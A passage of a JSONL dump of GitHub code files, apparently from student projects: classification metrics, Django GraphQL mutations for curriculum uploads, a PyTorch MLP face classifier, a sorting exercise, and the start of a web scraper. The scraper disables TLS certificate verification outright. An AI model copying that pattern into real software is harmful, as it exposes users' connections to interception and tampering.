average='weighted')\n prec_w = precision_score(Y_truth, Y_predict, average='weighted')\n rec_w = recall_score(Y_truth, Y_predict, average='micro')\n f1_micro = f1_score(Y_truth, Y_predict, average='micro')\n prec_micro = precision_score(Y_truth, Y_predict, average='micro')\n rec_micro = recall_score(Y_truth, Y_predict, average='micro')\n #met_dict = classification_report(Y_truth, Y_predict, output_dict=True)\n #met_dict[\"accuracy\"] = acc\n #return met_dict\n return acc, f1, prec, rec, f1_w, prec_w, rec_w, f1_micro, prec_micro, rec_micro\n \n# Calculates classification report and confusion matrix given predicted, and true labels \ndef matrix_n_report(Y_truth, Y_predict, filename=None):\n #Calculated dictionary of classification metrics mapping label: set of metrics\n cr = classification_report(Y_truth, Y_predict, output_dict=True)\n cm = confusion_matrix(Y_truth, Y_predict)\n return cr, cm\n\n# Calculates mean and max results across the multiple runs of cross validation\ndef calc_cross_val_aggregates(scores):\n score_dict = dict()\n score_dict[\"mean_acc\"] = np.mean(scores[\"accuracies\"])\n score_dict[\"mean_f1\"] = np.mean(scores[\"f1s\"])\n score_dict[\"mean_prec\"] = np.mean(scores[\"precisions\"])\n score_dict[\"mean_rec\"] = np.mean(scores[\"recalls\"])\n score_dict[\"mean_f1_w\"] = np.mean(scores[\"f1s_weighted\"])\n score_dict[\"mean_prec_w\"] = np.mean(scores[\"precisions_weighted\"])\n score_dict[\"mean_rec_w\"] = np.mean(scores[\"recalls_weighted\"])\n score_dict[\"mean_f1_micro\"] = np.mean(scores[\"f1s_micro\"])\n score_dict[\"mean_prec_micro\"] = np.mean(scores[\"precisions_micro\"])\n score_dict[\"mean_rec_micro\"] = np.mean(scores[\"recalls_micro\"])\n\n score_dict[\"max_acc\"] = np.max(scores[\"accuracies\"])\n score_dict[\"max_f1\"] = np.max(scores[\"f1s\"])\n score_dict[\"max_prec\"] = np.max(scores[\"precisions\"])\n score_dict[\"max_rec\"] = np.max(scores[\"recalls\"])\n score_dict[\"max_f1_w\"] = np.max(scores[\"f1s_weighted\"])\n score_dict[\"max_prec_w\"] = np.max(scores[\"precisions_weighted\"])\n score_dict[\"max_rec_w\"] = np.max(scores[\"recalls_weighted\"])\n score_dict[\"max_f1_micro\"] = np.max(scores[\"f1s_micro\"])\n score_dict[\"max_prec_micro\"] = np.max(scores[\"precisions_micro\"])\n score_dict[\"max_rec_micro\"] = np.max(scores[\"recalls_micro\"])\n return score_dict\n","repo_name":"ttshiz/CS539_Fall_Prediction","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3247,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"29"} +{"seq_id":"73734819917","text":"\nfrom django.forms import ValidationError\nimport graphene\nfrom django.db import transaction\n\nfrom preference.models import Config\n\nfrom .type import CurriculumUploadInput, SemesterInput, CourseInput, ExtraInput, CourseLabMapInput\nfrom ..types.course import AddBatchExtraCourseResponse, UpdateBatchExtraCourseResponse, DeleteBatchExtraCourseResponse, UpdateBatchCurriculumExtraCourseResponse\nfrom course.graphql.types.course import CurriculumUploadType\nfrom backend.api.decorator import login_required, resolve_user, staff_privilege_required\nfrom backend.api import APIException\nfrom course.models import CurriculumUpload, Program, Curriculum, Batch, Course, CurriculumExtras, ExtraCourse, CourseLab, BatchCurriculumExtra\nfrom typing import List\nfrom django.db.models import F\n\nclass AddBatchExtraCourse(graphene.Mutation):\n class Arguments:\n batch_id = graphene.ID(required=True)\n extra_course_id = graphene.ID(required=True)\n response = graphene.Field(AddBatchExtraCourseResponse)\n\n @login_required\n @resolve_user\n @staff_privilege_required\n def mutate(self, info, batch_id: graphene.ID, extra_course_id: graphene.ID):\n try:\n b = Batch.objects.get(id=batch_id)\n except Batch.DoesNotExist:\n raise APIException(message=\"Batch not found\", code=\"INVALID_BATCH_ID\")\n try:\n ec = ExtraCourse.objects.get(id=extra_course_id)\n except ExtraCourse.DoesNotExist:\n raise APIException(message=\"Extra Course not found\", code=\"INVALID_EXTRA_COURSE_ID\")\n b.add_selected_extra_course(ec)\n config = Config.objects.first()\n qs = Batch.objects.annotate(odd=F('sem') % 2, sem_year=F('year')+(F('sem')-1)/2).filter(odd=not config.current_preference_sem.is_even_sem , sem_year=config.current_preference_sem.year)\n return AddBatchExtraCourse(response=AddBatchExtraCourseResponse(extra_course=ec, active_batches=qs))\n\n\nclass UpdateBatchExtraCourse(graphene.Mutation):\n class Arguments:\n batch_id = graphene.ID(required=True)\n old_extra_course_id = graphene.ID(required=True)\n new_extra_course_id = graphene.ID(required=True)\n\n response = graphene.Field(UpdateBatchExtraCourseResponse)\n\n @login_required\n @resolve_user\n @staff_privilege_required\n def mutate(self, info, batch_id: graphene.ID, old_extra_course_id: graphene.ID, new_extra_course_id: graphene.ID):\n config = Config.objects.first()\n if config.current_preference_sem.are_courses_verified:\n raise APIException(message=\"Courses are already verified\", code=\"ALREADY_VERIFIED\")\n try:\n b = Batch.objects.get(id=batch_id)\n except Batch.DoesNotExist:\n raise APIException(message=\"Batch not found\", code=\"INVALID_BATCH_ID\")\n try:\n ec_old = ExtraCourse.objects.get(id=old_extra_course_id)\n ec_new = ExtraCourse.objects.get(id=new_extra_course_id)\n except ExtraCourse.DoesNotExist:\n raise APIException(message=\"Extra Course not found\", code=\"INVALID_EXTRA_COURSE_ID\")\n if ec_old.course_type.id != ec_new.course_type.id:\n raise APIException(message=\"Old and new extra course course-type mismatch\")\n with transaction.atomic():\n b.remove_selected_extra_course(ec_old)\n b.add_selected_extra_course(ec_new)\n qs = Batch.objects.annotate(odd=F('sem') % 2, sem_year=F('year')+(F('sem')-1)/2).filter(odd=not config.current_preference_sem.is_even_sem , sem_year=config.current_preference_sem.year)\n return UpdateBatchExtraCourse(response=UpdateBatchExtraCourseResponse(old_extra_course=ec_old, new_extra_course=ec_new, active_batches=qs))\n\nclass DeleteBatchExtraCourse(graphene.Mutation):\n class Arguments:\n batch_id = graphene.ID(required=True)\n old_extra_course_id = graphene.ID(required=True)\n\n response = graphene.Field(DeleteBatchExtraCourseResponse)\n\n @login_required\n @resolve_user\n @staff_privilege_required\n def mutate(self, info, batch_id: graphene.ID, old_extra_course_id: graphene.ID):\n try:\n b = Batch.objects.get(id=batch_id)\n except Batch.DoesNotExist:\n raise APIException(message=\"Batch not found\", code=\"INVALID_BATCH_ID\")\n try:\n ec_old = ExtraCourse.objects.get(id=old_extra_course_id)\n except ExtraCourse.DoesNotExist:\n raise APIException(message=\"Extra Course not found\", code=\"INVALID_EXTRA_COURSE_ID\")\n b.remove_selected_extra_course(ec_old)\n config = Config.objects.first()\n qs = Batch.objects.annotate(odd=F('sem') % 2, sem_year=F('year')+(F('sem')-1)/2).filter(odd=not config.current_preference_sem.is_even_sem , sem_year=config.current_preference_sem.year)\n return DeleteBatchExtraCourse(response=DeleteBatchExtraCourseResponse(old_extra_course=ec_old, active_batches=qs))\n\n\nclass UpdateBatchCurriculumExtraCourse(graphene.Mutation):\n class Arguments:\n batch_id = graphene.ID(required=True)\n extra_course_type = graphene.String(required=True)\n add = graphene.Boolean(required=True)\n response = graphene.Field(UpdateBatchCurriculumExtraCourseResponse)\n\n @login_required\n @resolve_user\n @staff_privilege_required\n def mutate(self, info, batch_id: graphene.ID, extra_course_type: str, add: bool):\n try:\n b = Batch.objects.get(id=batch_id)\n except Batch.DoesNotExist:\n raise APIException(message=\"Batch not found\", code=\"INVALID_BATCH_ID\")\n try:\n ce = CurriculumExtras.objects.get(curriculum=b.curriculum, name=extra_course_type)\n except CurriculumExtras.DoesNotExist:\n raise APIException(message=\"Curriculum Extra not found\", code=\"INVALID_EXTRA_COURSE_TYPE\")\n \n if not ce.is_elective:\n raise APIException(message=\"Only electives can be updated\")\n bce = BatchCurriculumExtra.objects.get(batch=b, extra=ce) \n if add:\n if bce.count >= ExtraCourse.objects.filter(course_type=ce).count():\n raise APIException(message=\"Can not add more extra course type, length exceeds occurences of extra course\")\n b.add_extra(ce)\n else:\n \n if bce.count <= 1:\n raise APIException(message=\"Can not delete all occurences of extra course type\")\n if bce.count <= b.selected_extra_courses.filter(course_type=ce).count():\n raise APIException(message=\"extra course alloacted, can not delete extra course type\")\n b.remove_extra(ce)\n config = Config.objects.first()\n qs = Batch.objects.annotate(odd=F('sem') % 2, sem_year=F('year')+(F('sem')-1)/2).filter(odd=not config.current_preference_sem.is_even_sem , sem_year=config.current_preference_sem.year)\n return UpdateBatchCurriculumExtraCourse(response=UpdateBatchCurriculumExtraCourseResponse(semester_extra_courses=b.extras, active_batches=qs))\n\n\nclass VerifyCurriculumUpload(graphene.Mutation):\n class Arguments:\n curriculumUploadID = graphene.ID(required=True)\n\n response = graphene.List(CurriculumUploadType)\n\n @login_required\n @resolve_user\n @staff_privilege_required\n def mutate(self, info, curriculumUploadID: graphene.ID):\n try:\n c : CurriculumUpload = CurriculumUpload.objects.get(id=curriculumUploadID)\n except CurriculumUpload.DoesNotExist:\n raise APIException(message=\"Invalid Argument, Curriculum Upload Does not exist\")\n \n if c.is_populated or Curriculum.objects.filter(program=c.program, year=c.year).exists():\n raise APIException(message=\"Curriculum already uploaded\", code=\"CURRICULUM_EXISTS\")\n \n semesters_data = c.data['semesters']\n curriculum_extras = c.data['extra']\n\n try:\n with transaction.atomic():\n curriculum = Curriculum.objects.create(program=c.program, year=c.year)\n c_extras:List[CurriculumExtras] = []\n for e in curriculum_extras:\n is_elective = e['isElective']\n ce = CurriculumExtras.objects.create(curriculum=curriculum, name=e['name'], is_elective=is_elective)\n c_extras.append(ce)\n for ec in e['courses']:\n ExtraCourse.objects.create(code=ec['code'].strip(),name=ec['name'], l=ec['L'], t=ec['T'], p=ec['P'], credit=ec['C'], hours=0, course_type=ce, is_elective=is_elective)\n \n\n for year_index in range(c.program.year):\n for sem_index in range(1, (c.program.year*2)+1):\n for sem in semesters_data:\n if sem['sem'] == sem_index:\n break\n if sem['sem'] != sem_index:\n raise APIException(\"Invalid Curriculum Data\")\n\n batch = Batch.objects.create(curriculum=curriculum, year=year_index+c.year, sem=int(sem['sem']))\n courses = {}\n for cr in sem['courses']:\n courses[cr['code']] = Course.objects.create(code=cr['code'], name=cr['name'], batch=batch, l=cr['L'], t=cr['T'], p=cr['P'], credit=cr['C'], hours=0)\n for cl in sem['courseLabs']:\n CourseLab.objects.create(course=courses[cl['courseCode']], lab=courses[cl['labCode']])\n\n sem_extras = sem['extra']\n for extra in sem_extras:\n for c_extra in c_extras:\n c_extra:CurriculumExtras = c_extra\n if extra == c_extra.name:\n batch.add_extra(c_extra)\n continue\n c.is_populated = True\n c.save() \n # CurriculumExtras.objects.create(curriculum=curriculum, name=)\n\n\n except Exception as e:\n raise APIException(message=e)\n return VerifyCurriculumUpload(response=CurriculumUpload.objects.all())\n\n\nclass DeleteCurriculumUpload(graphene.Mutation):\n class Arguments:\n curriculumUploadID = graphene.ID(required=True)\n response = graphene.List(CurriculumUploadType)\n\n @login_required\n @resolve_user\n @staff_privilege_required\n def mutate(self, info, curriculumUploadID: graphene.ID):\n try:\n c : CurriculumUpload = CurriculumUpload.objects.get(id=curriculumUploadID)\n except CurriculumUpload.DoesNotExist:\n raise APIException(message=\"Invalid Argument, Curriculum Upload Does not exist\")\n if c.is_populated:\n raise APIException(message=\"Curriculum is already populated, cannot delete verified curriculum\")\n c.delete()\n return VerifyCurriculumUpload(response=CurriculumUpload.objects.all())\n \nclass UploadCurriculum(graphene.Mutation):\n class Arguments:\n data = graphene.Argument(CurriculumUploadInput, required=True)\n \n # uploaded_curriculum = CurriculumUploadType\n response = graphene.Field(CurriculumUploadType)\n \n @staticmethod\n def _check_course(course: CourseInput):\n course['code'] = course['code'].strip()\n course['name'] = course['name'].strip()\n assert course['code'] and len(course['code']) >= 5 and len(course['code']) <=9, \"Invalid course code\" # TODO: find out the minimum length of course code and max\n assert course['name'] and len(course['name']) >= 5, f\"Course name short for {course['code']}\"\n assert course['L'] >= 0, f\"Invalid L for {course['code']}\"\n assert course['T'] >= 0, f\"Invalid T for {course['code']}\"\n assert course['P'] >= 0, f\"Invalid P for {course['code']}\"\n assert course['C'] >= 0, f\"Invalid Credit for {course['code']}\"\n\n @staticmethod\n def _check_extra(extra: ExtraInput):\n extra['name'] = extra['name'].strip()\n assert extra['name'] and len(extra['name']) >= 3, f\"Extra Courses Name short {extra['name']}\"\n assert extra['courses'] and len(extra['courses']) >0, f\"Extra Courses not found for {extra['name']}\"\n for c in extra['courses']:\n assert isinstance(c, CourseInput), f\"Invalid Course type for extra {extra['name']}\"\n UploadCurriculum._check_course(c)\n\n @login_required\n @resolve_user\n @staff_privilege_required\n def mutate(self, info, data: CurriculumUploadInput):\n try:\n assert data['program'], \"Program name is required\"\n assert data['year'], \"Academic year is required\"\n assert data['semesters'] and len(data['semesters']) > 0, \"At least one semester is required\"\n assert Program.objects.filter(name=data['program']).exists(), \"Program not found\"\n assert not CurriculumUpload.objects.filter(program__name=data['program'], year=data['year']).exists(), \"Curriculum Data already uploaded\"\n program = Program.objects.get(name=data['program'])\n qs = Curriculum.objects.filter(program__name=data['program']).order_by('year')\n if qs.exists():\n assert not qs.filter(year=data['year']).exists(), \"Curriculum already Exists\"\n c = qs.last()\n expected_year = c.year + c.program.year\n assert expected_year == data['year'], f\"Expected program year {expected_year}\"\n new_curriculum = Curriculum(program=program, year= data['year'])\n new_curriculum.full_clean()\n sem_nums = [] # to store sem_numbers [1,2,3..] TODO: check for highest semester possible\n extras = []\n for s in data['semesters']:\n assert isinstance(s, SemesterInput), \"Invalid Semester\"\n assert s['sem'] > 0, \"Invalid semester number\"\n sem_nums.append(s.sem)\n courseCodes = {}\n if s['extra'] is not None:\n for extra in s['extra']:\n extra = extra.strip()\n assert isinstance(extra, str), f\"Invalid type for extra in semester S{s.sem}\"\n extras.append(extra)\n assert s['courses'] and len(s['courses']) > 0, f\"Courses not found in semester S{s.sem}\"\n for course in s['courses']:\n assert isinstance(course, CourseInput), f\"Invalid Course type found in S{s.sem}\"\n courseCodes[course['code']] = True\n UploadCurriculum._check_course(course)\n if s['courseLabs'] is not None:\n for cl in s['courseLabs']:\n assert 'courseCode' in cl and 'labCode' in cl, 'invalid course/lab code'\n assert cl['labCode'][-2] == '8', \"invalid lab component\"\n assert cl['courseCode'][-2] != '8', \"invalid course component\"\n assert cl['labCode'] in courseCodes, \"Course/Lab component not found in semester courses\"\n assert cl['courseCode'] in courseCodes, \"Course/Lab component not found in semester courses\"\n \n if len(extras)>0:\n unique_extras = list(set(extras))\n assert len(unique_extras) == len(data['extra']), \"Extra courses mismatch\"\n existing_extra_names = []\n for ext in data['extra']:\n UploadCurriculum._check_extra(ext)\n existing_extra_names.append(ext['name'])\n assert len(existing_extra_names) == len(unique_extras), \"Extra courses length mismatch\"\n assert (sorted(existing_extra_names) == sorted(unique_extras)), \"Extra courses mismatch\"\n \n assert (sorted(sem_nums) == sorted(list(set(sem_nums)))), \"Duplicate Semester Numbering found\"\n assert max(sem_nums) <= 20, \"Unusually high semester number found\" # TODO: Find out maximum semester numbering\n assert len(sem_nums) == max(sem_nums), f\"Semester number higher than {len(sem_nums)} found\"\n assert sem_nums == [i for i in range(1, len(sem_nums)+1)], \"Invalid semester numbering\"\n\n upload = CurriculumUpload.objects.create(program=program, year=data['year'], data=data)\n\n # assert course.__class__\n # assert Curriculum.objects.filter(program__name=data.program).order_by('year').last()\n except AssertionError as e:\n raise ValidationError(str(e))\n return UploadCurriculum(response=upload)\n\nclass CourseMutation(graphene.ObjectType):\n upload_curriculum = UploadCurriculum.Field()\n delete_curriculum_upload = DeleteCurriculumUpload.Field()\n verify_curriculum_upload = VerifyCurriculumUpload.Field()\n\n update_batch_curriculum_extra_course = UpdateBatchCurriculumExtraCourse.Field()\n\n add_batch_extra_course = AddBatchExtraCourse.Field()\n update_batch_extra_course = UpdateBatchExtraCourse.Field()\n delete_batch_extra_course = DeleteBatchExtraCourse.Field()\n\n__all__ = [\n 'CourseMutation'\n]","repo_name":"jayakrishnan-jayu/CSAMS","sub_path":"backend/course/graphql/mutation/course.py","file_name":"course.py","file_ext":"py","file_size_in_byte":17155,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"1862605058","text":"import torch\r\nfrom torch.optim.lr_scheduler import CosineAnnealingLR, StepLR # 动态修改学习率\r\nimport numpy as np\r\nfrom tqdm import tqdm # 加载进度条的库\r\nimport scipy.io as sio\r\nfrom torch import nn\r\nimport torch.nn.functional as F\r\nimport torchvision.transforms as transforms\r\nfrom torch.utils.data import DataLoader, Dataset\r\nfrom matplotlib import pyplot as plt\r\nfrom random import shuffle\r\n\r\n\r\n# 定义自己的数据集\r\nclass My_dataset(Dataset):\r\n def __init__(self, data, label, mode, transform=None):\r\n self.transform = transform\r\n self.mode = mode\r\n self.real_len = 0\r\n if mode == 'train':\r\n self.train_data = data[:700]\r\n self.train_label = label[:700]\r\n self.real_len = len(self.train_label)\r\n elif mode == 'valid':\r\n self.valid_data = data[700:]\r\n self.valid_label = label[700:]\r\n self.real_len = len(self.valid_label)\r\n elif mode == 'train_only':\r\n self.train_only_data = data\r\n self.train_only_label = label\r\n self.real_len = len(self.train_only_label)\r\n\r\n def __getitem__(self, idx):\r\n if self.mode == 'train':\r\n data = self.train_data[idx].reshape(19, 19)\r\n label = self.train_label[idx]\r\n elif self.mode == 'valid':\r\n data = self.valid_data[idx].reshape(19, 19)\r\n label = self.valid_label[idx]\r\n elif self.mode == 'train_only':\r\n data = self.train_only_data[idx].reshape(19, 19)\r\n label = self.train_only_label[idx]\r\n if self.transform is not None:\r\n data = self.transform(data)\r\n return data, label\r\n\r\n def __len__(self):\r\n return self.real_len\r\n\r\n\r\n# 定义网络结构\r\nclass MyNet(nn.Module):\r\n def __init__(self, in_dim, hidden_dim1, hidden_dim2, out_dim):\r\n super(MyNet, self).__init__()\r\n self.layer1 = nn.Sequential(\r\n nn.Flatten(), nn.BatchNorm1d(in_dim),\r\n nn.Linear(in_dim, hidden_dim1), nn.Dropout(0.3) # 目前最好成绩不加dropout\r\n )\r\n self.layer2 = nn.Sequential(\r\n nn.BatchNorm1d(hidden_dim1),\r\n nn.Linear(hidden_dim1, hidden_dim2), nn.Dropout(0.3)\r\n )\r\n self.layer3 = nn.Sequential(\r\n nn.Linear(hidden_dim2, out_dim)\r\n )\r\n\r\n def forward(self, x):\r\n x = x.to(torch.float32)\r\n x = F.relu(self.layer1(x))\r\n x = F.relu(self.layer2(x))\r\n x = self.layer3(x)\r\n return x\r\n\r\n\r\n# 获取dataloader\r\ndef get_dataloader():\r\n train_data = sio.loadmat('./train(Task_2)/train_data.mat')['train_data']\r\n train_label = sio.loadmat('./train(Task_2)/train_label.mat')['train_label']\r\n my_train_data, my_train_label = shuffle_data(train_data, train_label)\r\n my_train_label = [1 if label == 1 else 0 for label in my_train_label]\r\n\r\n transform = {\r\n 'train': transforms.Compose([transforms.ToTensor(), transforms.RandomHorizontalFlip()]),\r\n 'valid': transforms.Compose([transforms.ToTensor(), transforms.RandomHorizontalFlip()])\r\n }\r\n\r\n train_dataset = My_dataset(my_train_data, my_train_label, 'train', transform=transform['train'])\r\n valid_dataset = My_dataset(my_train_data, my_train_label, 'valid', transform=transform['valid'])\r\n train_only_dataset = My_dataset(my_train_data, my_train_label, 'train_only', transform=transform['valid'])\r\n train_dataloader = DataLoader(train_dataset, batch_size=512)\r\n valid_dataloader = DataLoader(valid_dataset, batch_size=512)\r\n train_only_dataloader = DataLoader(train_only_dataset, batch_size=512)\r\n return train_dataloader, valid_dataloader, train_only_dataloader\r\n\r\n\r\n# 使得画图时的标题可以为中文\r\ndef set_chinese():\r\n import matplotlib\r\n print(\"[INFO] matplotlib版本为: %s\" % matplotlib.__version__)\r\n matplotlib.rcParams['font.sans-serif'] = ['FangSong']\r\n matplotlib.rcParams['axes.unicode_minus'] = False\r\n\r\n\r\n# 可视化dataloader里的图片\r\ndef show_pic(dataloader):\r\n set_chinese()\r\n examples = enumerate(dataloader) # 组合成一个索引序列\r\n batch_idx, (example_data, example_targets) = next(examples)\r\n plt.figure()\r\n for i in range(4):\r\n plt.subplot(2, 2, i + 1)\r\n plt.tight_layout()\r\n img = example_data[i].reshape(19, 19).T\r\n plt.imshow(img, cmap='gray')\r\n target = '是人脸' if example_targets[i] == 1 else '不是人脸'\r\n plt.title(f'target: {target}')\r\n plt.xticks([])\r\n plt.yticks([])\r\n plt.show()\r\n\r\n\r\n# 既训练也验证\r\ndef train_valid(net, loss, train_dataloader, valid_dataloader, device, batch_size, num_epoch, lr, lr_min, optim='sgd',\r\n init=True, scheduler_type='Cosine'):\r\n # 权重参数初始化\r\n def init_xavier(m):\r\n # if type(m) == nn.Linear or type(m) == nn.Conv2d:\r\n if type(m) == nn.Linear:\r\n nn.init.normal_(m.weight, 0, 0.1)\r\n nn.init.constant_(m.bias, 0)\r\n\r\n if init:\r\n net.apply(init_xavier)\r\n\r\n print('training on:', device)\r\n net.to(device)\r\n\r\n # 优化器选择\r\n if optim == 'sgd':\r\n optimizer = torch.optim.SGD((param for param in net.parameters() if param.requires_grad), lr=lr,\r\n weight_decay=1e-5, momentum=0.9)\r\n elif optim == 'adam':\r\n optimizer = torch.optim.Adam((param for param in net.parameters() if param.requires_grad), lr=lr,\r\n weight_decay=1e-4)\r\n elif optim == 'adamW':\r\n optimizer = torch.optim.AdamW((param for param in net.parameters() if param.requires_grad), lr=lr,\r\n weight_decay=1e-4)\r\n\r\n if scheduler_type == 'Cosine':\r\n scheduler = CosineAnnealingLR(optimizer, T_max=num_epoch, eta_min=lr_min)\r\n elif scheduler_type == 'StepLR':\r\n scheduler = StepLR(optimizer, step_size=2, gamma=0.1)\r\n train_losses = []\r\n train_acces = []\r\n eval_acces = []\r\n best_acc = 0.0\r\n for epoch in range(num_epoch):\r\n\r\n print(\"——————第 {} 轮训练开始——————\".format(epoch + 1))\r\n\r\n # 训练开始\r\n net.train()\r\n train_acc = 0\r\n for batch in tqdm(train_dataloader):\r\n imgs, targets = batch\r\n imgs = imgs.to(device)\r\n targets = targets.to(device)\r\n output = net(imgs)\r\n Loss = loss(output, targets)\r\n # 优化器优化模型\r\n optimizer.zero_grad()\r\n Loss.backward()\r\n optimizer.step()\r\n\r\n _, pred = output.max(1)\r\n num_correct = (pred == targets).sum().item()\r\n acc = num_correct / (batch_size)\r\n train_acc += acc\r\n scheduler.step()\r\n print(\"epoch: {}, Loss: {}, Acc: {}\".format(epoch, Loss.item(), train_acc / len(train_dataloader)))\r\n train_acces.append(train_acc / len(train_dataloader))\r\n train_losses.append(Loss.item())\r\n\r\n # 测试步骤开始\r\n net.eval()\r\n eval_loss = 0\r\n eval_acc = 0\r\n with torch.no_grad():\r\n for imgs, targets in valid_dataloader:\r\n imgs = imgs.to(device)\r\n targets = targets.to(device)\r\n output = net(imgs)\r\n Loss = loss(output, targets)\r\n _, pred = output.max(1)\r\n num_correct = (pred == targets).sum().item()\r\n eval_loss += Loss\r\n acc = num_correct / imgs.shape[0]\r\n eval_acc += acc\r\n\r\n eval_losses = eval_loss / (len(valid_dataloader))\r\n eval_acc = eval_acc / (len(valid_dataloader))\r\n if eval_acc > best_acc:\r\n best_acc = eval_acc\r\n best_model_wts = net.state_dict()\r\n eval_acces.append(eval_acc)\r\n print(\"整体验证集上的Loss: {}\".format(eval_losses))\r\n print(\"整体验证集上的正确率: {}\".format(eval_acc))\r\n net.load_state_dict(best_model_wts)\r\n torch.save(net, \"best_acc.pth\")\r\n return train_losses, train_acces, eval_acces\r\n\r\n\r\n# 将所有样本都用来训练,效果没有既训练又验证好(可能数据太多导致过拟合)\r\ndef train_only(net, loss, train_dataloader, device, batch_size, num_epoch, lr, lr_min, optim='sgd',\r\n scheduler_type='Cosine', init=True):\r\n def init_xavier(m):\r\n # if type(m) == nn.Linear or type(m) == nn.Conv2d:\r\n if type(m) == nn.Linear:\r\n nn.init.normal_(m.weight, 0, 0.01)\r\n nn.init.constant_(m.bias, 0)\r\n\r\n if init:\r\n net.apply(init_xavier)\r\n print('training on:', device)\r\n net.to(device)\r\n\r\n if optim == 'sgd':\r\n optimizer = torch.optim.SGD((param for param in net.parameters() if param.requires_grad), lr=lr,\r\n weight_decay=1e-4, momentum=0.9)\r\n elif optim == 'adam':\r\n optimizer = torch.optim.Adam((param for param in net.parameters() if param.requires_grad), lr=lr,\r\n weight_decay=1e-4)\r\n elif optim == 'adamW':\r\n optimizer = torch.optim.AdamW((param for param in net.parameters() if param.requires_grad), lr=lr,\r\n weight_decay=1e-4)\r\n\r\n if scheduler_type == 'Cosine':\r\n scheduler = CosineAnnealingLR(optimizer, T_max=num_epoch, eta_min=lr_min)\r\n\r\n train_losses = []\r\n train_acces = []\r\n best_acc = 0.0\r\n for epoch in range(num_epoch):\r\n\r\n print(\"——————第 {} 轮训练开始——————\".format(epoch + 1))\r\n\r\n # 训练开始\r\n net.train()\r\n train_acc = 0\r\n for batch in tqdm(train_dataloader):\r\n imgs, targets = batch\r\n imgs = imgs.to(device)\r\n targets = targets.to(device)\r\n output = net(imgs)\r\n Loss = loss(output, targets)\r\n # 优化器优化模型\r\n optimizer.zero_grad()\r\n Loss.backward()\r\n optimizer.step()\r\n\r\n _, pred = output.max(1)\r\n num_correct = (pred == targets).sum().item()\r\n acc = num_correct / (batch_size)\r\n train_acc += acc\r\n #scheduler.step()\r\n if (train_acc / len(train_dataloader)) > best_acc:\r\n best_acc = (train_acc / len(train_dataloader))\r\n torch.save(net, \"best_acc.pth\")\r\n print(\"epoch: {}, Loss: {}, Acc: {}\".format(epoch, Loss.item(), train_acc / len(train_dataloader)))\r\n train_acces.append(train_acc / len(train_dataloader))\r\n train_losses.append(Loss.item())\r\n print('----------训练结束-----------')\r\n return train_losses, train_acces\r\n\r\n\r\n# 可视化训练过程的精度\r\ndef show_acces(train_losses, train_acces, valid_acces, num_epoch): # 对准确率和loss画图显得直观\r\n plt.plot(1 + np.arange(len(train_losses)), train_losses, linewidth=1.5, linestyle='dashed', label='train_losses')\r\n plt.plot(1 + np.arange(len(train_acces)), train_acces, linewidth=1.5, linestyle='dashed', label='train_acces')\r\n plt.plot(1 + np.arange(len(valid_acces)), valid_acces, linewidth=1.5, linestyle='dashed', label='valid_acces')\r\n plt.grid()\r\n plt.xlabel('epoch')\r\n plt.xticks(range(1, 1 + num_epoch, 1))\r\n plt.legend(loc='upper right')\r\n plt.show()\r\n\r\n\r\n# 因为原始数据前一半是一类样本,后一半是另一类,所以对划分训练集和验证集不方便,将原始数据打乱再划分保证划分的有效性\r\ndef shuffle_data(data, label):\r\n result = []\r\n result_data = []\r\n result_label = []\r\n for i in range(len(label)):\r\n temp = np.append(data[i], label[i])\r\n result.append(temp)\r\n shuffle(result)\r\n\r\n for i in range(len(result)):\r\n result_data.append(result[i][:-1])\r\n result_label.append(result[i][-1])\r\n return np.array(result_data).astype(np.float32), result_label\r\n\r\n\r\nif __name__ == '__main__':\r\n train_dataloader, valid_dataloader, train_only_dataloader = get_dataloader()\r\n #show_pic(train_dataloader) # 可视化几张数据集图片看看\r\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\r\n Train_only = False\r\n if Train_only:\r\n # net = torch.load('best_acc.pth')\r\n net = MyNet(19 * 19, 500, 500, 2)\r\n loss = nn.CrossEntropyLoss()\r\n _, _ = train_only(net, loss, train_only_dataloader, device, batch_size=512, num_epoch=12, lr=0.1, lr_min=1e-4,\r\n optim='sgd', init=False)\r\n else:\r\n net = MyNet(19 * 19, 400, 400, 2) # 目前最好 100, 50\r\n loss = nn.CrossEntropyLoss()\r\n train_losses, train_acces, eval_acces = train_valid(net, loss, train_dataloader, valid_dataloader, device,\r\n batch_size=512, num_epoch=13, lr=0.1, lr_min=1e-3,\r\n optim='sgd', init=False)\r\n #show_acces(train_losses, train_acces, eval_acces,10) # 展示训练过程\r\n\r\n # 进行任务的测试\r\n test_data = torch.tensor(sio.loadmat('./test(Task_2)/test_data.mat')['test_data'])\r\n net = torch.load('best_acc.pth') # 导入最好一次训练epoch的模型进行预测\r\n net.eval()\r\n _, out = net(test_data).max(1)\r\n # 将结果写入txt文件\r\n with open('result_mlp.txt', 'w') as f:\r\n for i in range(len(out)):\r\n if out[i] == 1:\r\n f.write(f'{i + 1} 1\\n')\r\n else:\r\n f.write(f'{i + 1} -1\\n')\r\n","repo_name":"Wanglongzhi2001/Libsvm-and-MLP","sub_path":"MLP部分/MLP.py","file_name":"MLP.py","file_ext":"py","file_size_in_byte":13581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"34220459036","text":"import random\nList = []\ndef ssort(List):\n y = 0\n while(y<=len(List)):\n for x in range(0,len(List)):\n if(List[x] == y):\n xval = List[x]\n List[x] = List[xval-1]\n List[y-1] = y\n y+=1\nn = int(input(\"Choose a length for the List: \"))\nfor x in range(1,n+1):\n List.append(x)\nrandom.shuffle(List)\nprint(List)\nssort(List)\nprint(List)\n","repo_name":"ErikLindeman12/CSCI_1133","sub_path":"Labs/Lab 5/sort.py","file_name":"sort.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"215127928","text":"from urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nimport ssl\nimport re\n\n# Ignore SSL certificate errors\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\n\nurl = input('Enter - ')\nhtml = urlopen(url, context=ctx).read()\nsoup = BeautifulSoup(html, \"html.parser\")\nspans = soup('span')\nnum = []\nfor span in spans:\n 